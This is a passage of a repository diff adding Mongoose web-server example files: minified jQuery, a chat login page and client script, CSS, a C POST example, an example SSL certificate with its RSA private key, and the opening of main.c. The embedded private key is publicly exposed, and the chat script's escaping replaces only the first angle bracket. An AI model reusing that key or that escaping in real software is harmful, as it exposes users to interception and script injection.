j.specialEasing||{})[i]=a[i][1];a[i]=a[i][0]}}if(j.overflow!=null)this.style.overflow="hidden";j.curAnim=c.extend({},a);c.each(a,function(r,u){var z=new c.fx(k,j,r);if(Ab.test(u))z[u==="toggle"?o?"show":"hide":u](a);else{var C=Bb.exec(u),B=z.cur(true)||0;if(C){u=parseFloat(C[2]);var E=C[3]||"px";if(E!=="px"){k.style[r]=(u||1)+E;B=(u||1)/z.cur(true)*B;k.style[r]=B+E}if(C[1])u=(C[1]==="-="?-1:1)*u+B;z.custom(B,u,E)}else z.custom(B,u,"")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);
+
this.each(function(){for(var f=d.length-1;f>=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration===
+
"number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||
+
c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(j){return e.step(j)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;
+
this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=
+
this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,
+
e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||
+
c.fx.stop()},stop:function(){clearInterval(W);W=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,"opacity",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!=null)a.elem.style[a.prop]=(a.prop==="width"||a.prop==="height"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===b.elem}).length};c.fn.offset="getBoundingClientRect"in s.documentElement?
+
function(a){var b=this[0];if(a)return this.each(function(e){c.offset.setOffset(this,a,e)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);var d=b.getBoundingClientRect(),f=b.ownerDocument;b=f.body;f=f.documentElement;return{top:d.top+(self.pageYOffset||c.support.boxModel&&f.scrollTop||b.scrollTop)-(f.clientTop||b.clientTop||0),left:d.left+(self.pageXOffset||c.support.boxModel&&f.scrollLeft||b.scrollLeft)-(f.clientLeft||b.clientLeft||0)}}:function(a){var b=
+
this[0];if(a)return this.each(function(r){c.offset.setOffset(this,a,r)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d=b.offsetParent,f=b,e=b.ownerDocument,j,i=e.documentElement,o=e.body;f=(e=e.defaultView)?e.getComputedStyle(b,null):b.currentStyle;for(var k=b.offsetTop,n=b.offsetLeft;(b=b.parentNode)&&b!==o&&b!==i;){if(c.offset.supportsFixedPosition&&f.position==="fixed")break;j=e?e.getComputedStyle(b,null):b.currentStyle;
+
k-=b.scrollTop;n-=b.scrollLeft;if(b===d){k+=b.offsetTop;n+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(b.nodeName))){k+=parseFloat(j.borderTopWidth)||0;n+=parseFloat(j.borderLeftWidth)||0}f=d;d=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&j.overflow!=="visible"){k+=parseFloat(j.borderTopWidth)||0;n+=parseFloat(j.borderLeftWidth)||0}f=j}if(f.position==="relative"||f.position==="static"){k+=o.offsetTop;n+=o.offsetLeft}if(c.offset.supportsFixedPosition&&
+
f.position==="fixed"){k+=Math.max(i.scrollTop,o.scrollTop);n+=Math.max(i.scrollLeft,o.scrollLeft)}return{top:k,left:n}};c.offset={initialize:function(){var a=s.body,b=s.createElement("div"),d,f,e,j=parseFloat(c.curCSS(a,"marginTop",true))||0;c.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"});b.innerHTML="<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";
+
a.insertBefore(b,a.firstChild);d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==j;a.removeChild(b);
+
c.offset.initialize=c.noop},bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),j=parseInt(c.curCSS(a,"top",true),10)||0,i=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,
+
d,e);d={top:b.top-e.top+j,left:b.left-e.left+i};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-
+
f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=this.offsetParent||s.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],j;if(!e)return null;if(f!==w)return this.each(function(){if(j=wa(this))j.scrollTo(!a?f:c(j).scrollLeft(),a?f:c(j).scrollTop());else this[d]=f});else return(j=wa(e))?"pageXOffset"in j?j[a?"pageYOffset":
+
"pageXOffset"]:c.support.boxModel&&j.document.documentElement[d]||j.document.body[d]:e[d]}});c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(j){var i=c(this);i[d](f.call(this,j,i[d]()))});return"scrollTo"in
+
e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===w?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});A.jQuery=A.$=c})(window);
added plugins/pkg-plugins-serve/mongoose/examples/html/login.html
@@ -0,0 +1,43 @@
+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
+
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr"> 
+
  <!-- This file is part of the  Mongoose project,
+
    http://code.google.com/p/mongoose -->
+
  <head>
+
    <title>Mongoose chat: login</title>
+
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
+
    <!--
+
      Note that this page is self-sufficient, it does not load any other
+
      CSS or Javascript file. This is done so because only this page is
+
      allowed for non-authorized users. If we want to load other files
+
      from the frontend, we need to change backend code to allow those
+
      for non-authorized users. See chat.c :: must_authorize() function.
+
    -->
+
  </head>
+

+
  <script>
+
    window.onload = function() {
+
      // Set correct action for the login form. We assume that the SSL port
+
      // is the next one to insecure one.
+
      var httpsPort = location.protocol.match(/https/) ? location.port :
+
        parseInt(location.port) + 1;
+
      document.forms[0].action = 'https://' + location.hostname + ':' +
+
        httpsPort + '/authorize';
+
    };
+
  </script>
+

+
  <body>
+
    <center>
+
      <h2>Mongoose chat server login</h2>
+
      <div style="max-width: 30em;">
+
        Username and password can be any non-empty strings.
+
      </div>
+
      <br/>
+
      <form>
+
        <input type="text" name="user"></input><br/>
+
        <input type="text" name="password"></input><br/>
+
        <input type="submit" value="Login"></input>
+
      </form>
+
    </center>
+
  </body>
+
</html>
added plugins/pkg-plugins-serve/mongoose/examples/html/logo.png
added plugins/pkg-plugins-serve/mongoose/examples/html/main.js
@@ -0,0 +1,99 @@
+
// This file is part of Mongoose project, http://code.google.com/p/mongoose
+

+
var chat = {
+
  // Backend URL, string.
+
  // 'http://backend.address.com' or '' if backend is the same as frontend
+
  backendUrl: '',
+
  maxVisibleMessages: 10,
+
  errorMessageFadeOutTimeoutMs: 2000,
+
  errorMessageFadeOutTimer: null,
+
  lastMessageId: 0,
+
  getMessagesIntervalMs: 1000,
+
};
+

+
chat.normalizeText = function(text) {
+
  return text.replace('<', '&lt;').replace('>', '&gt;');
+
};
+

+
chat.refresh = function(data) {
+
  $.each(data, function(index, entry) {
+
    var row = $('<div>').addClass('message-row').appendTo('#mml');
+
    var timestamp = (new Date(entry.timestamp * 1000)).toLocaleTimeString();
+
    $('<span>')
+
      .addClass('message-timestamp')
+
      .html('[' + timestamp + ']')
+
      .prependTo(row);
+
    $('<span>')
+
      .addClass('message-user')
+
      .addClass(entry.user ? '' : 'message-user-server')
+
      .html(chat.normalizeText((entry.user || '[server]') + ':'))
+
      .appendTo(row);
+
    $('<span>')
+
      .addClass('message-text')
+
      .addClass(entry.user ? '' : 'message-text-server')
+
      .html(chat.normalizeText(entry.text))
+
      .appendTo(row);
+
    chat.lastMessageId = Math.max(chat.lastMessageId, entry.id) + 1;
+
  });
+

+
  // Keep only chat.maxVisibleMessages, delete older ones.
+
  while ($('#mml').children().length > chat.maxVisibleMessages) {
+
    $('#mml div:first-child').remove();
+
  }
+
};
+

+
chat.getMessages = function() {
+
  $.ajax({
+
    dataType: 'jsonp',
+
    url: chat.backendUrl + '/ajax/get_messages',
+
    data: {last_id: chat.lastMessageId},
+
    success: chat.refresh,
+
    error: function() {
+
    },
+
  });
+
  window.setTimeout(chat.getMessages, chat.getMessagesIntervalMs);
+
};
+

+
chat.handleMenuItemClick = function(ev) {
+
  $('.menu-item').removeClass('menu-item-selected');  // Deselect menu buttons
+
  $(this).addClass('menu-item-selected');  // Select clicked button
+
  $('.main').addClass('hidden');  // Hide all main windows
+
  $('#' + $(this).attr('name')).removeClass('hidden');  // Show main window
+
};
+

+
chat.showError = function(message) {
+
  $('#error').html(message).fadeIn('fast');
+
  window.clearTimeout(chat.errorMessageFadeOutTimer);
+
  chat.errorMessageFadeOutTimer = window.setTimeout(function() {
+
      $('#error').fadeOut('slow');
+
  }, chat.errorMessageFadeOutTimeoutMs);
+
};
+

+
chat.handleMessageInput = function(ev) {
+
  var input = ev.target;
+
  if (ev.keyCode != 13 || !input.value)
+
    return;
+
  //input.disabled = true;
+
  $.ajax({
+
    dataType: 'jsonp',
+
    url: chat.backendUrl + '/ajax/send_message',
+
    data: {text: input.value},
+
    success: function(ev) {
+
      input.value = '';
+
      input.disabled = false;
+
      chat.getMessages();
+
    },
+
    error: function(ev) {
+
      chat.showError('Error sending message');
+
      input.disabled = false;
+
    },
+
  });
+
};
+

+
$(document).ready(function() {
+
  $('.menu-item').click(chat.handleMenuItemClick);
+
  $('.message-input').keypress(chat.handleMessageInput);
+
  chat.getMessages();
+
});
+

+
// vim:ts=2:sw=2:et
added plugins/pkg-plugins-serve/mongoose/examples/html/style.css
@@ -0,0 +1,154 @@
+
/*
+
 * vim:ts=2:sw=2:et:ai
+
 */
+

+
body {
+
  font: 13px Arial; margin: 0.5em 1em;
+
}
+

+
#logo {
+
  background: url('logo.png') no-repeat ;
+
  width: 160px;
+
  height: 40px;
+
  float: left;
+
}
+

+
td {
+
  text-align: left;
+
}
+

+
#motd {
+
  margin-left: 170px;
+
}
+

+
.infobox {
+
  background: #eed;
+
  padding: 1px 1em;
+
}
+

+
.help-message {
+
  color: #aaa;
+
}
+

+
#middle {
+
  margin: 0.5em 0;
+
}
+

+
#error {
+
  background: #c44;
+
  color: white;
+
  font-weight: bold;
+
}
+

+
#content, .menu-item-selected, .chat-title, .chat-content {
+
  background: #c3d9ff;
+
}
+

+
#content {
+
  overflow: hidden;
+
  min-height: 7em;
+
  padding: 1em;
+
}
+

+
.chat-title {
+
  padding: 1px 1ex;
+
}
+

+
.chat-content {
+
 padding: 1ex;
+
}
+

+
.chat-window {
+
}
+

+
.message-row {
+
  margin: 2px;
+
  border-bottom: 1px solid #bbb;
+
}
+

+
.message-timestamp {
+
  color: #484;
+
}
+

+
.message-user {
+
  margin-left: 0.5em;
+
  font-weight: bold;
+
}
+

+
.message-text {
+
  margin-left: 0.5em;
+
}
+

+
.message-user-server {
+
  color: purple;
+
}
+

+
.message-text-server {
+
  font-style: italic;
+
}
+

+
.main {
+
  padding: 0.5em;
+
  background: #f0fcff;
+
}
+

+
#menu {
+
  margin-top: 1em;
+
  min-width: 7em;
+
  float: left;
+
}
+

+
#footer {
+
  position: fixed;
+
  bottom: 0;
+
  right: 0;
+
  color: #ccc;
+
  padding: 0.5em;
+
}
+

+
.section {
+
  clear: both;
+
}
+

+
.hidden {
+
  display: none;
+
}
+

+
.menu-item {
+
  cursor: pointer;
+
  padding: 0.1em 0.5em;
+
}
+

+
.menu-item-selected {
+
  font-weight: bold;
+
}
+

+
.message-list {
+
  min-height: 1em;
+
  background: white;
+
  margin: 0.5em 0;
+
}
+

+
.rounded {
+
  border-radius: 6px;
+
  -moz-border-radius: 6px;
+
  -webkit-border-radius: 6px;
+
}
+

+
.left-rounded {
+
  border-radius: 6px 0 0 6px;
+
  -moz-border-radius: 6px 0 0 6px;
+
  -webkit-border-radius: 6px 0 0 6px;
+
}
+

+
.bottom-rounded {
+
  border-radius: 0 0 6px 6px;
+
  -moz-border-radius: 0 0 6px 6px;
+
  -webkit-border-radius: 0 0 6px 6px;
+
}
+

+
.top-rounded {
+
  border-radius: 6px 6px 0 0;
+
  -moz-border-radius: 6px 6px 0 0;
+
  -webkit-border-radius: 6px 6px 0 0;
+
}
added plugins/pkg-plugins-serve/mongoose/examples/post.c
@@ -0,0 +1,61 @@
+
#include <stdio.h>
+
#include <string.h>
+
#include "mongoose.h"
+

+
static const char *html_form =
+
  "<html><body>POST example."
+
  "<form method=\"POST\" action=\"/handle_post_request\">"
+
  "Input 1: <input type=\"text\" name=\"input_1\" /> <br/>"
+
  "Input 2: <input type=\"text\" name=\"input_2\" /> <br/>"
+
  "<input type=\"submit\" />"
+
  "</form></body></html>";
+

+
static void *callback(enum mg_event event,
+
                      struct mg_connection *conn) {
+
  const struct mg_request_info *ri = mg_get_request_info(conn);
+

+
  if (event == MG_NEW_REQUEST) {
+
    if (!strcmp(ri->uri, "/handle_post_request")) {
+
      // User has submitted a form, show submitted data and a variable value
+
      char post_data[1024],
+
           input1[sizeof(post_data)], input2[sizeof(post_data)];
+
      int post_data_len;
+

+
      // Read POST data
+
      post_data_len = mg_read(conn, post_data, sizeof(post_data));
+

+
      // Parse form data. input1 and input2 are guaranteed to be NUL-terminated
+
      mg_get_var(post_data, post_data_len, "input_1", input1, sizeof(input1));
+
      mg_get_var(post_data, post_data_len, "input_2", input2, sizeof(input2));
+

+
      mg_printf(conn, "HTTP/1.0 200 OK\r\n"
+
                "Content-Type: text/plain\r\n\r\n"
+
                "Submitted data: [%.*s]\n"
+
                "Submitted data length: %d bytes\n"
+
                "input_1: [%s]\n"
+
                "input_2: [%s]\n",
+
                post_data_len, post_data, post_data_len, input1, input2);
+
    } else {
+
      // Show HTML form.
+
      mg_printf(conn, "HTTP/1.0 200 OK\r\n"
+
                "Content-Length: %d\r\n"
+
                "Content-Type: text/html\r\n\r\n%s",
+
                (int) strlen(html_form), html_form);
+
    }
+
    // Mark as processed
+
    return "";
+
  } else {
+
    return NULL;
+
  }
+
}
+

+
int main(void) {
+
  struct mg_context *ctx;
+
  const char *options[] = {"listening_ports", "8080", NULL};
+

+
  ctx = mg_start(&callback, NULL, options);
+
  getchar();  // Wait until user hits "enter"
+
  mg_stop(ctx);
+

+
  return 0;
+
}
added plugins/pkg-plugins-serve/mongoose/examples/ssl_cert.pem
@@ -0,0 +1,50 @@
+
-----BEGIN RSA PRIVATE KEY-----
+
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
+
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
+
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
+
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
+
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
+
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
+
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
+
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
+
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
+
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
+
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
+
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
+
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
+
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
+
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
+
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
+
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
+
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
+
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
+
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
+
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
+
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
+
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
+
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
+
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
+
-----END RSA PRIVATE KEY-----
+
-----BEGIN CERTIFICATE-----
+
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
+
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
+
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
+
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
+
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
+
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
+
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
+
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
+
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
+
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
+
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
+
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
+
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
+
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
+
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
+
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
+
SEGI4JSxV56lYg==
+
-----END CERTIFICATE-----
+
-----BEGIN DH PARAMETERS-----
+
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
+
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
+
-----END DH PARAMETERS-----
added plugins/pkg-plugins-serve/mongoose/main.c
@@ -0,0 +1,507 @@
+
// Copyright (c) 2004-2011 Sergey Lyubka
+
//
+
// Permission is hereby granted, free of charge, to any person obtaining a copy
+
// of this software and associated documentation files (the "Software"), to deal
+
// in the Software without restriction, including without limitation the rights
+
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+
// copies of the Software, and to permit persons to whom the Software is
+
// furnished to do so, subject to the following conditions:
+
//
+
// The above copyright notice and this permission notice shall be included in
+
// all copies or substantial portions of the Software.
+
//
+
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+
// THE SOFTWARE.
+

+
#if defined(_WIN32)
+
#define _CRT_SECURE_NO_WARNINGS  // Disable deprecation warning in VS2005
+
#else
+
#define _XOPEN_SOURCE 600  // For PATH_MAX on linux
+
#endif
+

+
#include <sys/stat.h>
+
#include <stdio.h>
+
#include <stdlib.h>
+
#include <signal.h>
+
#include <string.h>
+
#include <errno.h>
+
#include <limits.h>
+
#include <stddef.h>
+
#include <stdarg.h>
+

+
#include "mongoose.h"
+

+
#ifdef _WIN32
+
#include <windows.h>
+
#include <winsvc.h>
+
#define PATH_MAX MAX_PATH
+
#define S_ISDIR(x) ((x) & _S_IFDIR)
+
#define DIRSEP '\\'
+
#define snprintf _snprintf
+
#define vsnprintf _vsnprintf
+
#define sleep(x) Sleep((x) * 1000)
+
#define WINCDECL __cdecl
+
#else
+
#include <sys/wait.h>
+
#include <unistd.h>
+
#define DIRSEP '/'
+
#define WINCDECL
+
#endif // _WIN32
+

+
#define MAX_OPTIONS 40
+
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
+

+
static int exit_flag;
+
static char server_name[40];        // Set by init_server_name()
+
static char config_file[PATH_MAX];  // Set by process_command_line_arguments()
+
static struct mg_context *ctx;      // Set by start_mongoose()
+

+
#if !defined(CONFIG_FILE)
+
#define CONFIG_FILE "mongoose.conf"
+
#endif /* !CONFIG_FILE */
+

+
static void WINCDECL signal_handler(int sig_num) {
+
  exit_flag = sig_num;
+
}
+

+
static void die(const char *fmt, ...) {
+
  va_list ap;
+
  char msg[200];
+

+
  va_start(ap, fmt);
+
  vsnprintf(msg, sizeof(msg), fmt, ap);
+
  va_end(ap);
+

+
#if defined(_WIN32)
+
  MessageBox(NULL, msg, "Error", MB_OK);
+
#else
+
  fprintf(stderr, "%s\n", msg);
+
#endif
+

+
  exit(EXIT_FAILURE);
+
}
+

+
static void show_usage_and_exit(void) {
+
  const char **names;
+
  int i;
+

+
  fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built %s\n",
+
          mg_version(), __DATE__);
+
  fprintf(stderr, "Usage:\n");
+
  fprintf(stderr, "  mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
+
  fprintf(stderr, "  mongoose <config_file>\n");
+
  fprintf(stderr, "  mongoose [-option value ...]\n");
+
  fprintf(stderr, "\nOPTIONS:\n");
+

+
  names = mg_get_valid_option_names();
+
  for (i = 0; names[i] != NULL; i += 3) {
+
    fprintf(stderr, "  -%s %s (default: \"%s\")\n",
+
            names[i], names[i + 1], names[i + 2] == NULL ? "" : names[i + 2]);
+
  }
+
  fprintf(stderr, "\nSee  http://code.google.com/p/mongoose/wiki/MongooseManual"
+
          " for more details.\n");
+
  fprintf(stderr, "Example:\n  mongoose -s cert.pem -p 80,443s -d no\n");
+
  exit(EXIT_FAILURE);
+
}
+

+
static void verify_document_root(const char *root) {
+
  const char *p, *path;
+
  char buf[PATH_MAX];
+
  struct stat st;
+

+
  path = root;
+
  if ((p = strchr(root, ',')) != NULL && (size_t) (p - root) < sizeof(buf)) {
+
    memcpy(buf, root, p - root);
+
    buf[p - root] = '\0';
+
    path = buf;
+
  }
+

+
  if (stat(path, &st) != 0 || !S_ISDIR(st.st_mode)) {
+
    die("Invalid root directory: [%s]: %s", root, strerror(errno));
+
  }
+
}
+

+
static char *sdup(const char *str) {
+
  char *p;
+
  if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
+
    strcpy(p, str);
+
  }
+
  return p;
+
}
+

+
static void set_option(char **options, const char *name, const char *value) {
+
  int i;
+

+
  if (!strcmp(name, "document_root") || !(strcmp(name, "r"))) {
+
    verify_document_root(value);
+
  }
+

+
  for (i = 0; i < MAX_OPTIONS - 3; i++) {
+
    if (options[i] == NULL) {
+
      options[i] = sdup(name);
+
      options[i + 1] = sdup(value);
+
      options[i + 2] = NULL;
+
      break;
+
    }
+
  }
+

+
